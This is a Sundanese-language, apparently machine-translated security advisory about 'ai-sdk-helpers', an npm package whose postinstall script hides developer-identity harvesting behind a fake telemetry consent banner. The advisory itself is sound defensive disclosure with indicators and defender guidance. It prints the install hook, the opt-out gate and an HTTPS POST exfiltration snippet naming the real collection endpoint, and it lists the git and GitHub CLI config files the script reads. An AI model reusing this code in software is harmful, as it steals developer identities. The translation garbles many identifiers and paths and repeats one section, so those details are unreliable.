ConsentMask Paket npm Nyumputkeun Panén Identitas Pamekar

ConsentMask: Paket npm anu nganggo Spanduk Persetujuan Telemetri di luhur Panén Identitas Pamekar

TL; DR

Hiji pakét npm tunggal, ai-sdk-helpers, nampilkeun dirina salaku toolkit produksi pikeun Vercel AI SDK, anu nawiskeun pelacakan biaya, fallback panyadia, sareng pembantu streaming.

Skrip waktos pamasanganna dibuka ku spanduk panyingkepan anu dipoles anu ngajelaskeun diagnostik anonim, jangji yén teu aya kode sumber, token, atanapi kredensial anu dikirimkeun, ngahormatan a DO_NOT_TRACK milih kaluar, sareng numbu ka halaman kawijakan telemetri.

Skrip anu sami teras maca idéntitas git pamekar, konfigurasi CLI GitHub, hostname mesin, nami pangguna OS, diréktori kerja, sareng panyadia CI.

Éta data di-POST salaku JSON ka titik tungtung Google Cloud Run, nyiptakeun ketidakcocokan anu jelas antara kawijakan telemetri anu dinyatakeun sareng kolom anu dikumpulkeun.

Pakét ieu dipedalkeun dina dua puluh dua vérsi dina hiji burst 83 detik, sareng skrip pamasanganana sami byte-demi-byte di unggal vérsi anu ditandaan.

Tujuh tina dalapan vérsi anu diulas ku kami pipeline dipeunteun teu nyimpulkeun ku klasifikasi ML sabab gaya spanduk idin kabaca kawas telemetri anu sah.

Urang ngaklasifikasikeun ai-sdk-helpers salaku jahat dumasar kana pangumpulan idéntitas pamekar waktos pamasangan sareng éksfiltrasi.

Parahna: luhur.

 Anatomi instalasi

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

saatos dipasang jalan sacara otomatis dina npm install, sateuacan kode anu diiklankeun dina pakét diimpor. Skripna skrip/postinstall.js nyaéta tempat sadaya paripolah waktos pamasangan aya.

Ieu dibuka ku blok koméntar sareng bewara runtime anu ditulis dina daptar proyék sumber terbuka anu sadar privasi:

>Nalika anjeun masang ai-sdk-helpers, kami ngajalankeun pamariksaan kompatibilitas lingkungan anu gancang sareng ngalaporkeun diagnostik anonim… Datana anonim pisan — kami ngumpulkeun platform anjeun, vérsi Node, sareng hash hiji arah tina idéntifikasi mesin anjeun. Teu aya kode sumber, token, atanapi kredensial anu kantos dikirimkeun.

Éta malah nyambungkeun gerbang opt-out anu tiasa dianggo, kode anu tiasa dieksekusi munggaran dina file éta:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

Ngaitkeun heula gerbang ieu anu ngajantenkeun sésana dibaca salaku konsensual: pamekar anu netepkeun `D_TEU_DIJALUK` ningali pamasangan réngsé sacara jempé sareng nyimpulkeun pakét ngahormatan konvénsi. Pilihan kaluar anu dihormat téh nyata. Anu diaktipkeun, pikeun saha waé anu henteu nyetélna, nyaéta kumpulan anu dijelaskeun di handap — sanés "platform, vérsi Node, sareng hash hiji arah" anu langkung heureut anu disebatkeun ku bewara.

Di handapeun gerbang éta, skrip ngumpulkeun muatan anu ngaleuwihan pedaran éta.

  • *Gidéntitas t.* rmeupeuskeunScmIdéntitas()` eads `~.gitconfig`,`~.config/git/config`,sareng proyék ayeuna `.éta/konfigurasi`,nganalisis `[ser]` ection, sareng mulangkeun anu dikonfigurasikeun commit surélék. Upami teu aya file konfigurasi anu ngahasilkeun surélék, éta bakal balik deui ka `GT_AUTHOR_SURAT`,`GT_COMMITTER_EMAIL`,jeung `EAIL` variabel lingkungan. Doktrin di luhur fungsi ngabingkai bacaan salaku cara "pikeun ngahapus duplikat pamasangan di sakuliah mesin anu dipiboga ku jalma anu sami (contona laptop + CI)" — tujuan anu dinyatakeun anu meryogikeun idéntifikasi per-pamekar anu stabil, anu commit suplai surélék.
  • *Gakun tHub.* rngajawabGitHubIdentity()` eads `~.config/gh/hosts.yml` jeung `~.config/gh/hosts.yaml` file konfigurasi anu ditulis ku GitHub CLI nalika pamekar ngaoténtikasi — sareng ngekstrak regex `ueuh:` jeung `egering:` widang. File éta ogé nyimpen token GitHub OAuth; regex skrip narékahan nami pangguna sareng baris email sacara khusus sareng henteu ngekstrak token éta. Ku kituna, klaim spanduk panyingkepan "henteu aya token ... anu kantos dikirimkeun" sacara harfiah leres pikeun hiji widang éta nalika idéntifikasi akun di sakurilingna dibaca sareng dikirim.
  • *Hsidik jari st sareng CI.* naskahna teras ngumpulkeun `o.ngaranhost()`,`o.userInfo().ngaranupamaké`,Vérsi Node, platform sareng arsitéktur, `pprosés.cwd()`,sareng labél panyadia CI direngsekeun ku cara mariksa variabel lingkungan pikeun dalapan panyadia (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, sareng dua flag generic-CI). Daptar panyadia dibaca salaku inventaris dimana skrip ngarepkeun pikeun dijalankeun — cangkang interaktif sareng build otomatis pipelines sarua.

Sadayana ieu dikelompokkeun kana hiji `dagnostik objék, kalayan widang per-pamekar dikumpulkeun dina `iéntitas ey sareng data host di handapeun `rwaktos ayeuna jeung `ctéks eys, teras diserialkeun sareng dikirimkeun:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Résponna dipiceun sareng sadaya kasalahan bakal leungit — aya koméntar anu nyatet yén "telemetri henteu kedah ngaganggu pamasangan." Ngaran host titik tungtung ngodekeun layanan Google Cloud Run dina `etali-kulon1` wilayah.

Celahna nyaéta caritana. Spanduk éta nyebutkeun tilu kategori data — platform, versi Node, hash identifier mesin. Payload ngirim git asli pamekar commit surélék, ngaran pamaké sareng surélék GitHub maranéhanana, ngaran host mesin sareng ngaran akun OS maranéhanana, jalur proyék maranéhanana, sareng lingkungan CI maranéhanana. Widang anu ngaidentipikasi *prson sareng akunna* persis kolom anu teu diungkabkeun.

README nguatkeun framing ti sisi séjén. Bagian "Telemetri"-na ​​ngulang klaim anonimitas sareng ngaitkeun kecap `D_TEU_DIJALUK` o `cnsoledonottrack.com`,halaman komunitas nyata anu ngadokumentasikeun konvénsi opt-out — nginjeum privasi anu diakui standard pikeun ngajantenkeun bewara éta dibaca sapertos rutin.

Gariswanci

Ieu mangrupikeun panemuan pakét tunggal kalayan riwayat publikasi anu pondok pisan sareng padet pisan. Teu aya busur kampanye sababaraha minggu anu kedah dilacak — sadaya rentang vérsi didorong kalayan kecepatan mesin.

Nalika (UTC) kajadian
2026-06-03 20:31:20 Versi munggaran (0.1.0) diterbitkeun ka npm.
2026-06-03 20:31:20 – 20:32:43 Sadaya 22 vérsi (0.1.0 ngaliwatan 1.4.2) diterbitkeun dina burst otomatis 83 detik.
2026-06-04 Dalapan vérsi ditandaan ku sinyal deteksi; analisis manual mastikeun pangumpulan idéntitas waktos pamasangan sareng éksfiltrasi. Pakét tetep hirup dina npm nalika analisis.

Jandéla 83 detik dina 22 vérsi semantik éta sorangan mangrupikeun indikator paripolah: tangga vérsi (`01.0`,`01.1`,… `14.2`)nampilkeun beungeut proyék anu dijaga sacara aktif kalayan riwayat rilis, anu dihasilkeun dina hiji skrip anu dijalankeun. Skrip pamasangan henteu robih dina tangga éta — tingali di handap.

Indikator kompromi

Muatan waktos pamasangan sami di sakumna rentang vérsi anu diterbitkeun. A `dff` f`sripts/postinstall.js` antara vérsi `02.1` vérsi `14.2` teu mulangkeun béda; paripolahna mangrupikeun hiji sidik jari anu tetep, sanés muatan anu mekar.

Network

Jandéla 83 detik dina 22 vérsi semantik éta sorangan mangrupikeun indikator paripolah: tangga vérsi (`01.0`,`01.1`,… `14.2`)nampilkeun beungeut proyék anu dijaga sacara aktif kalayan riwayat rilis, anu dihasilkeun dina hiji skrip anu dijalankeun. Skrip pamasangan henteu robih dina tangga éta — tingali di handap.

Indikator kompromi

Muatan waktos pamasangan sami di sakumna rentang vérsi anu diterbitkeun. A `dff` f`sripts/postinstall.js` antara vérsi `02.1` vérsi `14.2` teu mulangkeun béda; paripolahna mangrupikeun hiji sidik jari anu tetep, sanés muatan anu mekar.

Network

indikator peran
npm-package-logger-228835561205.europe-west1.run.app Titik tungtung exfiltration anu nampi pamundut HTTPS POST nganggo payload JSON. Di-host dina Google Cloud Run dina europe-west1 wewengkon.

Infrastruktur umpan

indikator peran
ai-sdk.guide Halaman utama pakét sareng situs langsung anu ngadukung idéntitas pangarang "AI SDK Guide".
ai-sdk.guide/telemetry URL kawijakan telemetri anu dirujuk dina bewara panyingkepan waktos pamasangan.
hello@ai-sdk.guide Surélék pangarang diumumkeun dina package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Gudang sumber anu dideklarasikeun ku pakét.

File dibaca nalika dipasang

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` pos
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `egering

Tanda tangan paripolah

  • – m`pstinstall` ogé ngagunakeun skrip Node anu dibundel
  • – gerbang pilihan kaluar (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_TEU_DIJALUK`)dipidangkeun salaku fitur privasi, sateuacan ngumpulkeun idéntitas
  • – tbound HTTPS POST tina objék JSON anu ngandung email git, idéntitas GitHub, hostname, nami pangguna OS, cwd, sareng labél CI
  • – skrip pamasangan anu sami dina tangga vérsi anu diterbitkeun gancang

 Atribusi & Paripolah anu Diamati
Kami henteu ngaitkeun nanaon saluareun naon anu dirékam ku metadata pakét sareng pendaptaran.

Nu ngajaga catetan npm nyaéta akun `aielsimon`,kalayan alamat `aiel@vigilance.security`.Registri ngadaptar email éta salaku anu teu acan diverifikasi sareng idéntitas kontrol sumber akun salaku anu teu acan diverifikasi. `pckage.json`,misah, nampilkeun pangarang salaku "Pituduh AI SDK `ello@ai-sdk.guide>`”kalawan halaman utama `a-sdk.guide` jeung gudang sumber dina `gorganisasi thub.com/ai-sdk-guide`. Domain surélék akun penerbitan (`vigilance.security`)sareng idéntitas pangarang dina pakét (`a-sdk.guide`)nyaéta domain anu béda.

Anu-sdk.guide` ite hirup sareng ngaréspon, sareng `/élémétri ath ngarengsekeun — idéntitas decoy dirojong ku ayana wéb anu tiasa dihontal tinimbang tautan anu paéh, anu ningkatkeun kredibilitas framing pakét.

**Kamampuan anu dititénan.** Dina waktos pamasangan, pakét maca idéntitas pamekar sareng file konfigurasi akun, nyidik ​​sidik jari lingkungan host sareng CI, sareng ngirimkeun hasilna ka titik tungtung anu dikontrol ku operator, bari nampilkeun bewara anu ngajelaskeun set data anu langkung sempit sareng anonim. Kami ngajelaskeun paripolah ieu; kami henteu negeskeun motif pikeun éta. Pamaca anu meunteun pakét — kalebet pihak mana waé anu ngakuan idéntitas penerbitan — kedah nimbang-nimbang ketidakcocokan anu tiasa dititénan antara aliran data anu dinyatakeun sareng anu saleresna.

Dampak, tren, sareng pituduh pikeun para pembela

Saha anu kakeunaan. Saha waé anu masang ai-sdk-helpers — sacara langsung atanapi salaku katergantungan transitif — ngajalankeun koleksi dina mesin éta. Kusabab pemicuna nyaéta saatos dipasang, kode perpustakaan anu diiklankeun teu kedah diimpor supados aliran data tiasa kajantenan; pamasangan nyalira cekap. Lingkungan anu paling berharga nyaéta workstation pamekar kalayan idéntitas git anu dikonfigurasi sareng GitHub CLI anu diauténtikasi, sareng CI runners, dimana deteksi panyadia CI skrip nunjukkeun yén koleksi diperkirakeun dijalankeun di jero build. pipelinekitu ogé dina laptop.

Naon anu diungkabkeun. Sanés rusiah aplikasi dina kasus umum — muatanna museur kana identitas: pihak pamekar commit surélék, nami akun GitHub sareng surélékna, nami mesin sareng akun, sareng jalur proyék. Éta mangrupikeun pracispeta saha anu masang pakét, dina mesin naon, dina gudang naon, sareng dina sistem CI mana. Pikeun hiji organisasi, sababaraha rékaman sapertos kitu anu digabungkeun bakal ngadaptar insinyur mana sareng sistem anu ngawangun anu narik katergantungan — mangpaat salaku prékursor pikeun kagiatan tindak lanjut anu langkung dituju, sanaos paripolah pakét ieu sorangan eureun dina pangumpulan sareng transmisi.

Trenna: telemetri salaku panutup. Pakakas pamekar anu sah ngumpulkeun diagnostik pamasangan anu dianonimkeun, sareng konvénsi pikeun ngalakukeunana kalayan hormat — bewara panyingkepan, a ULAH_DITURUT honor, bendera opt-out, URL kawijakan — parantos dikenal. ai-sdk-helpers ngaréproduksi sadaya opat konvénsi éta kalayan satia sareng nganggo éta salaku bungkus pikeun pangumpulan idéntitas. Ayana spanduk idin, opt-out anu tiasa dianggo, atanapi tautan kawijakan privasi sanés bukti yén pakét tiasa dipercaya; kontrol éta murah pikeun ditiru. Hiji-hijina cék anu tiasa dipercaya nyaéta naon anu leres-leres dibaca ku kode sareng dimana leres-leres dikirim.

Bungkusan ieu ogé gaduh pangaruh anu tiasa diukur dina triage otomatis. Di sakumna vérsi kami pipeline diulas, koméntar basa polos skrip pamasangan, nami widang anu terstruktur, sareng gerbang opt-out konvensional dievaluasi salaku telemetri biasa: tujuh tina dalapan balik deui teu ngayakinkeun tina classifier ML tinimbang jahat. Sinyal anu ngarengsekeun ambiguitas sanés dina prosa — éta aya dina file khusus anu dibuka ku skrip (~/.gitconfig, ~/.config/gh/hosts.yml) sareng tujuan anu dikirimkeun. Anu marios, otomatis atanapi manusa, anu maca panyingkepan teras eureun di dinya bakal ngahontal kacindekan anu salah; katangtuan kedah asalna tina fakta aliran data.

Pituduh pikeun para pembela:

  • Pasang nganggo skrip anu dinonaktipkeun sacara standar — npm install –ignore-scripts, atanapi nyetel skrip-teu dipaliré=leres in .npmrc sareng ngajalankeun léngkah-léngkah ngawangun anu parantos dipariksa sacara éksplisit. Ieu nganetralkeun saatos dipasang-ngabalukarkeun pangumpulan di sakumna papan.
  • Ulah nganggap kontrol opt-out salaku sinyal kapercayaan. ULAH_DITURUT cék atanapi tautan "kawijakan telemetri" teu ngawartosan anjeun nanaon ngeunaan data anu dikumpulkeun ku skrip nalika gerbang henteu disetel.
  • Baca heula cara masangna sateuacan ngadopsi pakét asisten AI-ékosistem. Rohangan Vercel AI SDK mangrupikeun target anu gancang mekar sareng dipercaya; a saatos dipasang anu némpél ~/.gitconfig or ~/.config/gh/ mangrupa sinyal anu jelas henteu paduli kumaha koméntar sakurilingna ditulis.
  • Ngawaskeun kaluarna waktos ngawangun. HTTPS POST kaluar salami npm install, khususna ka titik tungtung fungsi awan anu nembé disayogikeun, tiasa dititénan dina lapisan jaringan sareng mangrupikeun titik deteksi anu kuat pikeun lingkungan CI.
  • Perhatikeun tangga vérsi anu dikomprés. Pakét anu sadaya riwayat vérsi semantikna némbongan dina sababaraha detik, kalayan skrip pamasangan anu teu robih, nampilkeun riwayat pangropéa anu diproduksi.
alat-alat-sca-parangkat lunak-analisis-komposisi
Prioritaskeun, remediasi, sareng amankeun résiko parangkat lunak anjeun
Kéngingkeun Akun Gratis anjeun.
Henteu kedah kartu kiridit.

Amankeun Pangwangunan sareng Pangiriman Parangkat Lunak Anjeun

sareng Xygeni Product Suite